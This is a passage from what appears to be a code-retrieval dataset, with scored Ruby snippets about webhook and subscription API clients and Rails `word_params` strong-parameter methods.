body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SubscriptionJson')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SubscriptionsApi#get_entitlement\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "925462c73cce133e0798ca97feb5cd08", "score": "0.5474552", "text": "def retrieve_webhook(webhook_id)\n start.uri('/api/webhook')\n .url_segment(webhook_id)\n .get()\n .go()\n end", "title": "" }, { "docid": "fb266c5c731ce3a9d23da6d7f65a8080", "score": "0.5470007", "text": "def webhooks_get(opts = {})\n data, _status_code, _headers = webhooks_get_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "cc5261fc2996b5d7d5d2c5701d7901df", "score": "0.5469741", "text": "def retrieve_webhook(webhook_id)\n start.uri('/api/webhook')\n .url_segment(webhook_id)\n .get()\n .go()\n end", "title": "" }, { "docid": "c563c4fb5e46e07459a2639c5fdc516d", "score": "0.5462923", "text": "def plugin_name\n 'subscriptions'\n end", "title": "" }, { "docid": "599527a48588c405d9a2ab9f840cfbd9", "score": "0.5462527", "text": "def webhook\n @webhook ||= Mautic::Connection.receive_webhook params\n end", "title": "" }, { "docid": "3ffa8b40f055252b8679298781430dad", "score": "0.5460842", "text": "def url\n resource.url + '/webhooks'\n end", "title": "" }, { "docid": "c9f2cae30db1c9862f5009a69f96f2d5", "score": "0.54594123", "text": "def endpoint(key=params[:key])\n \"#{SLACK_WEBHOOK}#{key}\"\n end", "title": "" }, { "docid": "75a082b46b1025beef139b77b78e0341", "score": "0.5449079", "text": "def get_by_id_with_http_info(app_id, subscription_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SubscriptionsApi.get_by_id ...'\n end\n # verify the required parameter 'app_id' is set\n if @api_client.config.client_side_validation && app_id.nil?\n fail ArgumentError, \"Missing the required parameter 'app_id' when calling SubscriptionsApi.get_by_id\"\n end\n # verify the required parameter 'subscription_id' is set\n if @api_client.config.client_side_validation && subscription_id.nil?\n fail ArgumentError, \"Missing the required parameter 'subscription_id' when calling SubscriptionsApi.get_by_id\"\n end\n # resource path\n local_var_path = '/webhooks/v3/{appId}/subscriptions/{subscriptionId}'.sub('{' + 'appId' + '}', CGI.escape(app_id.to_s)).sub('{' + 'subscriptionId' + '}', CGI.escape(subscription_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', '*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'SubscriptionResponse' \n\n # auth_names\n auth_names = opts[:auth_names] || ['hapikey']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SubscriptionsApi#get_by_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "446c352a43f14bb416615a5368daef62", "score": "0.5433765", "text": "def webhook_for_vanilla_pay_notification\n # DO SOMETHING\n end", "title": "" }, { "docid": "5e6a8cd84763e149bfc5695767e68883", "score": "0.5428795", "text": "def index\n @webhooks = WebhookSubscription.all\n end", "title": "" }, { "docid": "20c866576f37e70fda134a9dc1458a11", "score": "0.5424318", "text": "def webhooks\n @@socket.listWebhooks(:id => id)\n end", "title": "" }, { "docid": "6bd52d9113e1755134918404a5b6aa27", "score": "0.54194945", "text": "def webhooks\n response = get \"webhooks\"\n response.map{|item| Hashie::Mash.new(item)}\n end", "title": "" }, { "docid": "dadbe301d2bfdb3b8c77ed0e696558b7", "score": "0.5416775", "text": "def subscription\n if subscribers.length > 0\n subscribers[0].subscription\n else\n nil\n end\n end", "title": "" }, { "docid": "62725dd465a7164b82a15b6a3f38ba49", "score": "0.54125565", "text": "def info(addon_service_id_or_addon_service_name)\n @client.addon_service.info(addon_service_id_or_addon_service_name)\n end", "title": "" }, { "docid": "62725dd465a7164b82a15b6a3f38ba49", "score": "0.54125565", "text": "def info(addon_service_id_or_addon_service_name)\n @client.addon_service.info(addon_service_id_or_addon_service_name)\n end", "title": "" }, { "docid": "280266afe8947db327c211e255a702b4", "score": "0.5395545", "text": "def get_info\n json = post_ssl(@zaif_trade_url, \"get_info\", {})\n return json\n end", "title": "" }, { "docid": "280266afe8947db327c211e255a702b4", "score": "0.5395545", "text": "def get_info\n json = post_ssl(@zaif_trade_url, \"get_info\", {})\n return json\n end", "title": "" }, { "docid": "37cba7a0a6c5a7e7397221c90078cfcb", "score": "0.53918576", "text": "def show\n authorize @webhook\n\n @webhook_serialized = API::Entities::Webhooks.represent(\n @webhook,\n current_user: current_user,\n type: :internal\n ).to_json\n @webhook_headers = @webhook.headers\n @webhook_headers_serialized = API::Entities::WebhookHeaders.represent(@webhook_headers).to_json\n @deliveries = @webhook.deliveries\n @deliveries_serialized = API::Entities::WebhookDeliveries.represent(@deliveries).to_json\n\n respond_with(@namespace, @webhook)\n end", "title": "" }, { "docid": "7afd83b9ad9bcbe3421db233256a33f6", "score": "0.53894025", "text": "def webhook_subscribe(params)\n params = validate_webhook_input(params)\n validate_webhook(params)\n k2_request_body = {\n event_type: params[:event_type],\n url: params[:url],\n scope: params[:scope],\n scope_reference: params[:scope_reference]\n }\n subscribe_hash = make_hash(K2Config.path_url('webhook_subscriptions'), 'post', @access_token,'Subscription', k2_request_body)\n @location_url = K2Connect.make_request(subscribe_hash)\n end", "title": "" }, { "docid": "884dcb70fec8da1c47989a6e5026d9b8", "score": "0.5378192", "text": "def info(addon_attachment_id)\n @client.addon_attachment.info(addon_attachment_id)\n end", "title": "" }, { "docid": "152aa3c0f2e1f4d15bd2390d1ec6bbc8", "score": "0.535348", "text": "def get_webhooks(opts = {})\n data, _status_code, _headers = get_webhooks_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "342a8368acf3a472bf3b090df52ce581", "score": "0.53463787", "text": "def get_web_hooks_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: WebhooksApi.get_web_hooks ...\"\n end\n # resource path\n local_var_path = \"/webhook/\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BBOAuth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<BBWebHook>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebhooksApi#get_web_hooks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "ac2fbefa5b7cd7e30ec2790e78e4edf6", "score": "0.53459096", "text": "def create\n\n addon = lookup_external_id_in_addons(params)\n\n\n\n if addon[:result] == 'success'\n render json: { subscriber: update_subscriber(addon[:external_id].merge(params)) || {} }\n else\n render json: { subscriber: addon.to_json }\n end\n end", "title": "" }, { "docid": "2106f1c4f22fee351f8ab5ac26a96afb", "score": "0.5334401", "text": "def subscription_data\n {}\n end", "title": "" }, { "docid": "2106f1c4f22fee351f8ab5ac26a96afb", "score": "0.5334401", "text": "def subscription_data\n {}\n end", "title": "" }, { "docid": "b2ba8e212b3bb9603082977c490289f1", "score": "0.53326386", "text": "def sub\n subscriptions.first\n end", "title": "" }, { "docid": "c0ea014c7fb33386adadf7886ddd7e73", "score": "0.5330184", "text": "def subscription_paynum\n params['x_subscription_paynum']\n end", "title": "" }, { "docid": "6aeb7a4fa7c2b6f24b8dd4acf95704ad", "score": "0.53273344", "text": "def appsignal\n get_appsignal_data\n end", "title": "" }, { "docid": "15ff9184e0e1ce7894896992c2e16a7c", "score": "0.5325279", "text": "def webhooks_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: WebhooksApi.webhooks_get ...\"\n end\n # resource path\n local_var_path = \"/webhooks\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = [ 'access_token' ]\n response = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebhooksApi#webhooks_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return response\n end", "title": "" }, { "docid": "86c1b351f73e526284f235a3113c3f48", "score": "0.5324916", "text": "def subscription_node\n event_node.find_first('//ns:subscription', :ns => self.class.registered_ns)\n end", "title": "" }, { "docid": "25509ee988e1d9ea19ceb7e66d146967", "score": "0.5321297", "text": "def subscribed_events\n adapter.subscribers.map(&:meta)\n end", "title": "" }, { "docid": "ebe4c797d0eacc7cdb44cd99c98b65df", "score": "0.53203374", "text": "def webhook(id)\n @webhooks[id.resolve_id]\n end", "title": "" }, { "docid": "0da15ddc07e03d2473015eeb1488c3cd", "score": "0.5319564", "text": "def push_api_subscriptions\n response = connection.get(\"push_api_subscriptions\")\n return_error_or_body(response)\n end", "title": "" }, { "docid": "7c11d507854b63e34b442e45cab44814", "score": "0.53185123", "text": "def retrieve_webhooks(opts = {})\n data, _status_code, _headers = retrieve_webhooks_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "c7c142d319c4667a9018a04805e43523", "score": "0.5317044", "text": "def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'This plugin allows users to store iCalendar subscriptions in their calendar-home.',\n 'link' => nil\n }\n end", "title": "" }, { "docid": "bfc8898b83d9c2a9f11873c5d1f1fedb", "score": "0.53151673", "text": "def get_subscription_with_http_info(id, x_hook_secret, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MarketplacesOrdersSubscriptionsApi.get_subscription ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling MarketplacesOrdersSubscriptionsApi.get_subscription\"\n end\n # verify the required parameter 'x_hook_secret' is set\n if @api_client.config.client_side_validation && x_hook_secret.nil?\n fail ArgumentError, \"Missing the required parameter 'x_hook_secret' when calling MarketplacesOrdersSubscriptionsApi.get_subscription\"\n end\n # resource path\n local_var_path = \"/user/marketplaces/orders/subscriptions/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'X-Hook-Secret'] = x_hook_secret\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Subscription')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MarketplacesOrdersSubscriptionsApi#get_subscription\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "aea869fff632432357a226e504dd2ec8", "score": "0.5306035", "text": "def get_webhooks(opts = {})\n data, _status_code, _headers = get_webhooks_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "7720c22abf60264844c6a241e0074b3f", "score": "0.5297286", "text": "def retrieve_webhooks_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WebhooksApi.retrieve_webhooks ...'\n end\n # resource path\n local_var_path = '/webhooks'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Array<Webhook>'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['ApiSecretKey']\n\n new_options = opts.merge(\n :operation => :\"WebhooksApi.retrieve_webhooks\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebhooksApi#retrieve_webhooks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
c0ea760aab60867cf7f1fc1222285e3b
def word_id params.require(:word).permit(:id) end
[ { "docid": "69fa96cd821170268329bc304119f606", "score": "0.0", "text": "def check_commitment\n @required_commitment = -1\n if current_user.commitment < @required_commitment\n render 'not-enough-commitment',:layout => 'onsen'\n end\n end", "title": "" } ]
[ { "docid": "35cf3eec6a7353694b9bad8fb7f988d0", "score": "0.8665441", "text": "def related_word_params\n params.require(:related_word).permit(:related_word, :word_id)\n end", "title": "" }, { "docid": "156919591759464a0cf22270bd0834cf", "score": "0.8586857", "text": "def word_params\n params.require(:word).permit( {id: []},:name, :length, :deleted_at, :is_meanful)\n end", "title": "" }, { "docid": "9abcd69abf9cee31202dad0113eff086", "score": "0.8502995", "text": "def word_params\n params.require(:word).permit(:text, :typo, :comment, :task_id)\n end", "title": "" }, { "docid": "4a80df0d26be756be2616977845f7d62", "score": "0.84738445", "text": "def word_params\n params.require(:word).permit(:word_name)\n end", "title": "" }, { "docid": "c2bace38d60f3e2fb37083fe5a0f16b7", "score": "0.8410217", "text": "def word_params\n params.require(:word).permit(:title)\n end", "title": "" }, { "docid": "973aca32e1f26cdbd08e06cd49db2f77", "score": "0.8406498", "text": "def word_form_params\n params.require(:word_form).permit(:associated_word, :word_id)\n end", "title": "" }, { "docid": "19424596d2597b43a0f2d12a52fb46c2", "score": "0.8385706", "text": "def word_params\n params.require(:word).permit(:name)\n end", "title": "" }, { "docid": "1d58777516a5ac22c56502c3bb841f38", "score": "0.83335245", "text": "def word_params\n params.require(:word).permit(:en, :ja, :count, :hide, :text_id)\n end", "title": "" }, { "docid": "b55db0a33d1e3f42b8813eb5a37d4311", "score": "0.83133215", "text": "def word_params\n params.require(:word).permit(:unit_id, :name)\n end", "title": "" }, { "docid": "1d65c95be1309c3981796867d53612cd", "score": "0.82953614", "text": "def word_params\n params.require(:word).permit(:name, :image, :letter_id)\n end", "title": "" }, { "docid": "370841175f421e4ca929363cb8c7ed1b", "score": "0.82913005", "text": "def word_params\n params.require(:word).permit(:language_id,:vna_id,:category_id, :word, :translation, :definition, :audio)\n end", "title": "" }, { "docid": "091e5931e036fa830c9a86ab1cbe4767", "score": "0.82807475", "text": "def word_params\n params.require(:word).permit(:random_word)\n end", "title": "" }, { "docid": "81d53bd27e1345ceac3d868efc13e3f2", "score": "0.8253785", "text": "def word_params\n params.require(:word).permit(:artist_data_id, :titulo, :texto, :logo)\n end", "title": "" }, { "docid": "6ef02e6cdb014235c43e96b48077b8cd", "score": "0.8240507", "text": "def task_word_params\n params.require(:task_word).permit(:task_id, :word_id)\n end", "title": "" }, { "docid": "3574c3bbc451dbe41ecf97916d2732ba", "score": "0.8228162", "text": "def word_params\n params.require(:word).permit(:word, :meaning, :word_class, :ipa, :image, :category_ids => [])\n end", "title": "" }, { "docid": "06ac46fbc7e5d17dcead3acabd77c070", "score": "0.8156248", "text": "def word_params\n params.require(:word).permit(:word, :votes)\n end", "title": "" }, { "docid": "3847620e61f690ca0cbfef59e423a74d", "score": "0.80788", "text": "def word_params\n params.require(:word).permit(:name, :translation)\n end", "title": "" }, { "docid": "1978de54330cd5f0061149b77c15ebf7", "score": "0.80671567", "text": "def article_word_params\n params.require(:article_word).permit(:article_user_id, :word_id, :encounter_no)\n end", "title": "" }, { "docid": "e23ef18c498566e376d68f69c0492c8a", "score": "0.8040295", "text": "def related_word_params\n params.require(:related_word).permit(:name)\n end", "title": "" }, { "docid": "1b2f31402dc68e2a2315dc42f8de4411", "score": "0.80377054", "text": "def puzzle_word_params\n params.require(:puzzle_word).permit(:word_id, :puzzle_id)\n end", "title": "" }, { "docid": "ec86f27ca5828bdb74ad5376dc73f953", "score": "0.8015719", "text": "def word_params\n params.require(:word).permit(:word, :meaning, :word_lang_id,:meaning_lang_id)\n # params.require(:word).map( |u| u.permit(:word, :meaning, :word_lang_id, :meaning_lang_id) }\n end", "title": "" }, { "docid": "e82921a50a1a76f5103ec5083031f8de", "score": "0.80038786", "text": "def key_word_params\n params.require(:key_word).permit(:key_word, :book_id)\n end", "title": "" }, { "docid": "860938b8d30ebf0206a26588e289a39c", "score": "0.79905766", "text": "def word_params\n params.require(:word).permit(:name, \n definitions_attributes: [:id, :text]\n )\n end", "title": "" }, { "docid": "e4746e478083cd178638a4bf50fefd26", "score": "0.798488", "text": "def word_params\n params.require(:word).permit(:content, :mean, :w_type, :phonetic)\n end", "title": "" }, { "docid": "61fac054a4c706d8977dba40a2626720", "score": "0.79345036", "text": "def word_params\n params.require(:word).permit(:isEasy, :isHard, :references)\n end", "title": "" }, { "docid": "7b11013c09f12091cf35e7644deb14a0", "score": "0.79211247", "text": "def key_word_params\n params.require(:key_word).permit(:word, :type)\n end", "title": "" }, { "docid": "c180c390352576c68ddaede003670422", "score": "0.7918196", "text": "def dictionary_params\n params.require(:dictionary).permit(:word)\n end", "title": "" }, { "docid": "f02899c73e8aa37d7b00700eacf4a108", "score": "0.7904718", "text": "def word_params\n params.require(:word).permit(:title, :pos, :pron, :ipa)\n end", "title": "" }, { "docid": "311d7b89a92bb4c7b9c9a2342f58e71f", "score": "0.7899181", "text": "def word_params\n params.require(:word).permit(:word, :due)\n end", "title": "" }, { "docid": "e11a448ecc75b3b4322987ae31db4723", "score": "0.78949744", "text": "def word_params\n params.fetch(:word, {}).permit(:letters, :pic, { :week_ids => [] }, :spelling_bee, :sound_url, :search)\n end", "title": "" }, { "docid": "250e8df62036d26668d5c2b6890d61f6", "score": "0.78828454", "text": "def word_params\n params.require(:word).permit(:word_str, :num_tested, :num_correct, :num_correct_seq, :num_wrong, :first_tested, :last_tested)\n end", "title": "" }, { "docid": "0f0e17e189db031e7d7480d0ad59bce4", "score": "0.78818434", "text": "def word_params\n params.require(:word).permit(:userid, :word, :translate, :count, :memorize_count, :last_memorize_date)\n end", "title": "" }, { "docid": "a7d75cc6b578fdc12dee6c8aa566c25a", "score": "0.78695923", "text": "def spelling_word_params\n params.require(:spelling_word).permit(:word, :definition, :spelling_list_id)\n end", "title": "" }, { "docid": "e225f474dfca1387f397cf040bb20dbc", "score": "0.7867135", "text": "def word_params\n params.require(:word).permit(:new_definer)\n end", "title": "" }, { "docid": "992861c957b884995d7cc8e528106927", "score": "0.786631", "text": "def word_params\n params.require(:word).permit(:content, :pos_id, hanzi_ids: [], pinyin_ids: [],\n examples_attributes: [:id, :chinese, :spelling, :polish])\n end", "title": "" }, { "docid": "b693814f3e4780a0ad6bb604aad5f0ca", "score": "0.78512967", "text": "def key_word_params\n params.require(:key_word).permit(:name, :pattern_type_id)\n end", "title": "" }, { "docid": "266caf553237532f7cbeb8f8d4c0f1e5", "score": "0.7847845", "text": "def lesson_word_form_params\n params.require(:lesson_word_form).permit(:lesson_word_id, :word_form_id)\n end", "title": "" }, { "docid": "f65e3f13de57680ab3478a5e21668160", "score": "0.7838184", "text": "def word_params\n params.require(:word).permit(:word, :length, :consecutive_letters)\n end", "title": "" }, { "docid": "1a6885a90eecb0dd0e965bd64dff9bda", "score": "0.7815154", "text": "def word_category_params\n params.require(:word_category).permit(:IDWord, :IDCategory)\n end", "title": "" }, { "docid": "739e5ba946ea0e2ee95c4a47e553aecf", "score": "0.78124744", "text": "def book_word_params\n params.require(:book_word).permit(:bookid, :wordid, :count)\n end", "title": "" }, { "docid": "d004311ed6ac2d51a9092ec6eea1f2a3", "score": "0.7802118", "text": "def word_params\n # params.require(:word).permit(:pinnin, :kantaiji, :hinshi, :imi, :rigoushi, :page, :section)\n params.require(:word).permit(:pinnin,:styledpinnin,:rawpinnin, :kantaiji, :hinshi, :imi, :page, :section)\n end", "title": "" }, { "docid": "330cefe99ed146dd09296ac4ff6aab84", "score": "0.7770486", "text": "def lesson_word_definition_params\n params.require(:lesson_word_definition).permit(:lesson_word_id, :definition_id)\n end", "title": "" }, { "docid": "f14b092dc1705c808c364eab7ce23480", "score": "0.7758034", "text": "def wordrepo_params\n params.require(:wordrepo).permit(:wordlist_id, :word_id)\n end", "title": "" }, { "docid": "cc073a2312681990de7fb1eb231a7ade", "score": "0.7751191", "text": "def restricted_word_params\n params.require(:restricted_word).permit(:word)\n end", "title": "" }, { "docid": "697455bb2b38bfdb0fef40cf6c801a81", "score": "0.7739246", "text": "def kind_word_params\n params.require(:kind_word).permit(:id, :heading, :when, :what, :who, :points)\n end", "title": "" }, { "docid": "eba28906235c01513ff3693dd190461b", "score": "0.7731327", "text": "def english_word_params\n\t\tparams.require(:english_word).permit(:word, :chapter)\n\tend", "title": "" }, { "docid": "d5f32adf640d9993f7ba501654a5af5d", "score": "0.7719526", "text": "def definition_params\n params.require(:definition).permit(:word_definition, :word_id)\n end", "title": "" }, { "docid": "8364df57a571645e7077bfffb5477327", "score": "0.7717614", "text": "def german_word_params\n params.require(:german_word).permit(:word, :article, :gender, :english_word_id)\n end", "title": "" }, { "docid": "e06c37b9a55fb6f2b3a935b4568ca98a", "score": "0.77111727", "text": "def user_word_params\n params.require(:user_word).permit(:user_id, :word_id, :is_owner)\n end", "title": "" }, { "docid": "b71f53778abe3d93437120748f2cbcd3", "score": "0.7704372", "text": "def techword_params\n params.require(:techword).permit(:name, :definition, :user_id)\n end", "title": "" }, { "docid": "508201fc71bddf566e4971e6e89a3aaf", "score": "0.7703849", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "172237067e7bf93868446740963fedbd", "score": "0.7689283", "text": "def vocabulary_params\n params.require(:vocabulary).permit(:word)\n end", "title": "" }, { "docid": "4069fc8661f5250fc348ee419d904ac2", "score": "0.7657946", "text": "def set_word\n unless (params[:id]).is_number?\n render :text => \"id must be int\", :status => :bad_request\n else\n @word = Word.find(params[:id])\n end\n end", "title": "" }, { "docid": "dc2ed48ec640fd5968910b2c5dd2f035", "score": "0.764862", "text": "def set_word\n id = params[:id]\n if id\n @word = Word.find(id)\n end\n end", "title": "" }, { "docid": "395372a186b80c6a23e15d8cc2601d55", "score": "0.76485074", "text": "def set_word\n# @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "fa55144b0ad67367fb2c6b2911a9e31d", "score": "0.76425", "text": "def word_params\n params.require(:word).permit(:value, :match_string)\n end", "title": "" }, { "docid": "0a2357bd58e9d770938c52c70ebf8459", "score": "0.7619927", "text": "def set_word\n @word = Word.find(params[:word_id])\n end", "title": "" }, { "docid": "bf47e7031831715230b23d1249fb7f12", "score": "0.76030356", "text": "def word_params\n parameters = params.require(:word).permit(:id, :list_id, :text, :needsToBeReviewed,\n pronunciations: [ :id, :phoneticSpelling, :audioFile], \n entries: [ :id, :lexicalCategory, etymologies: [], senses: [ :id, :definition, :example ]])\n parameters[\"entries\"].each do |e|\n e.delete(\"id\") if e[\"id\"].nil?\n e[\"senses\"].each do |s|\n s.delete(\"id\") if s[\"id\"].nil?\n end\n end\n parameters[\"pronunciations\"].each do |p|\n p.delete(\"id\") if p[\"id\"].nil?\n end\n parameters\n end", "title": "" }, { "docid": "bcbd0f5b883b6c9815791fedbc47a0c2", "score": "0.7573481", "text": "def word_params\n params.require(:word).permit(:name, :singular_genitive_id, :gender_id, meanings_attributes: [:id, :itself, :example, :_destroy, abbreviature_ids: []])\n # params.require(:word).permit(:meanings_attributes).permit(abbreviature_ids: [])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.75630385", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "3c453e9d15c621531f1a41fb8350b211", "score": "0.7562238", "text": "def set_word\n @word = Word.find(params[:id])\n end", "title": "" }, { "docid": "e98f8606def8a24b1aabb3f5ca59eac2", "score": "0.75531685", "text": "def word_params\n params.fetch(:word, {}).permit(:top, :year)\n end", "title": "" }, { "docid": "479948207a56e51ef3b08e2d96b433ed", "score": "0.75465673", "text": "def paradigm_params\n# params.require(:paradigm).permit(:word, :transcription, :translation, :word_id)\n params.permit!\n end", "title": "" }, { "docid": "b0f2a7617f3f514e705b22b210e8df80", "score": "0.752125", "text": "def word_params\n params.require(:word).permit(:name, :archived_at, :archived)\n end", "title": "" }, { "docid": "86aa5ed32ee01c6fd76dc0e4e851da82", "score": "0.7513508", "text": "def word_params\n params.require(:word).permit(:language, :chinese, :korean, :formality, :romanization, :english, :termDateJSON)\n end", "title": "" }, { "docid": "2c81376e0bdadc70b6f1457d7c0820c6", "score": "0.74709374", "text": "def dictionary_params\n params.require(:dictionary).permit(:word, :translation, :user_id, :term, :language_id, :dictionaries_category)\n end", "title": "" }, { "docid": "d1f93ce288292f4cf8b586c4eb353de5", "score": "0.7460018", "text": "def word_params\n params.require(:words)\n end", "title": "" }, { "docid": "f5a3bc017e5ecfa98bc5db0dcb1be720", "score": "0.74321365", "text": "def synonymou_params\n params.require(:synonymou).permit(:word_id, :word_2_id)\n end", "title": "" }, { "docid": "dce666b3f0925fa1294e7e8bab25f767", "score": "0.7422508", "text": "def base_word_params\n 